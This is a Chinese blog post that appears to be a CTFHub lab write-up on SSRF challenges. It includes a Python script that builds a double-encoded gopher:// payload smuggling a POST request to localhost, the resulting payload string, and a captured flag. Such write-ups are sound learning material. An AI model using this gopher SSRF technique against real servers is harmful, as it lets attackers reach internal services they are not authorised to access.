CTFHUB SSRF POST请求和上传文件

POST请求

进去 根据之前的题目,使用hackbar  http://challenge-d20f90f7c40a19fa.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php

查看源代码 <!-- Debug: key=4e6c2c20c0c4091ad92a63e1ea817ce6-->

访问时要有key

先前提示这题需要使用php的curl实现

理所当然联想到Gopher协议(也就是看大佬的wp)

Gopher协议在ssrf中的应用:https://zhuanlan.zhihu.com/p/112055947

burpsuite抓包

构造Gopher数据

首先记住php接受数据的时候会对数据进行一次unicode解码

所以构造的数据要进行二次编码

构造的Gopher数据

POST /flag.php HTTP/1.1
Host:127.0.0.1:80
Content-Length:36  //此处的长度为key=f91b51e0743019e5e94095c9960e757b的长度
Content-Type:application/x-www-form-urlencoded

key=f91b51e0743019e5e94095c9960e757b //后面需要接一个回车表示结束

对其进行二次编码

注意,第一次编码时,换行符在某些编码中会为%0A,需要将其替换为%0D%0A

自己试了很多次,第一次成功后面就不行了,最后找了一个脚本才再次成功

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host:127.0.0.1:80
Content-Length:36
Content-Type:application/x-www-form-urlencoded

key=f91b51e0743019e5e94095c9960e757b
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

 

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%253A80%250D%250AContent-Length%253A36%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250A%250D%250Akey%253Df91b51e0743019e5e94095c9960e757b%250D%250A

通过burpsuite得到flag:ctfhub{5061fd8d8622a432e6116956}

 

借鉴的wp:https://blog.csdn.net/qq_33295410/article/details/108619685     https://blog.csdn.net/rfrder/article/details/108589988

最后复现发现问题解决的博客:https://www.freebuf.com/articles/web/258365.html

 

这题真是把我折磨的够呛,除了第一次不知道怎么编码弄正确之后后面复现怎么都不对

得学一学用python写脚本了

 

上传文件

访问flag.php

要上传文件给flag.php 又需要使用gopher协议并用gopher将文件传递给flag.php

首先给这个文件上传添加一个按钮

抓包

把host改为127.0.0.1

然后和上一题一样把抓到的包二次解码并用gopher协议传给flag.php

 

不过我这题好像环境有点问题。。。

 

posted @ 2021-03-25 21:14  zap162  阅读(448)  评论(0编辑  收藏  举报